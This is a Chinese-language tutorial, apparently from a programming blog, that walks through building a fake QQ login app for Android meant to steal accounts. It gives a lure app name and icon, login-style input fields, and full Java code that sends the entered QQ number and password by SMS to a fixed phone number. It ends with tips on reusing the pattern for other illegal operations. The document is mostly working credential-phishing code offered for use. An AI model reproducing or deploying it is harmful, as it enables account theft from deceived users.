編輯:關於Android編程
其實Android移動端也存在類似的套路,下面小編為各位寶寶們來剖他一析
最簡單的盜號QQ開發流程,你值得擁有,吼吼~~~
項目名稱: 定制盜號QQ 期望結果: 用戶輸入賬號密碼,一點擊提交,瞬間密碼賬戶發送到了騙子的手機裡!! 開發步驟: 1.創建一個Android項目,在res/values/string.xml裡修改一個高大上的應用名! 2.在清單文件(AndroidManifest.xml)裡的application節點下修改icon,來個誘人的圖. 3.找到res/layout裡的布局文件activity_main.xml: *添加主界面圖標:. 主要屬性src="@drawable/Niceqq" *添加賬號輸入框: . 主要屬性 singlelinetrue="true" hint="QQ/郵箱/手機號碼" *添加密碼輸入框: . 主要屬性 inputType="textPassword" hint="請輸入密碼" *添加登錄按鈕:
上代碼!!
(1)布局文件activity_main.xml
(2)src下的java代碼: MainActivity.java文件
public class MainActivity extends Activity {
//定義關心控件
private EditText et_qq;
private EditText et_psd;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//添加關心控件
et_qq=(EditText) findViewById(R.id.et_qq);
et_psd = (EditText)findViewById(R.id.et_psd);
}
//登錄按鈕點擊事件具體邏輯實現
public void login(View v){
//獲取用戶輸入的賬號和密碼
String qq=et_qq.getText().toString().trim();
String psd=et_psd.getText().toString().trim();
//判斷輸入信息是否為空
if (TextUtils.isEmpty(qq)||TextUtils.isEmpty(psd)) {
Toast.makeText(this, "賬號或密碼不能為空", 0).show();
return;
}
//將獲得的信息發送到指定手機號
SmsManager smsManager=SmsManager.getDefault();
smsManager.sendTextMessage("5556", null, "username:"+qq+",password:"+psd, null, null);
Toast.makeText(this, "施主請耐心等待", 0).show();
}
}
(3)清單文件
在manifest節點裡添加:(這樣就可以發出短信了)
我一運行!
Tips:
此類Android應用常規套路:
布局中存在EditText和Button.
一 添加關心控件 findViewById(R.id.xx)
二 設置按鈕點擊事件
三 在按鈕點擊事件監聽方法裡,得到輸入框裡的內容
*代碼 String data=et.getText().toString().trim();
*同時判斷輸入內容是否為空
if(TextUtils.isEmpty(data)){
Toast.makeText(上下文,"數據不能為空",0).show();
return;
}
*若有內容,獲取之後進行其他非法操作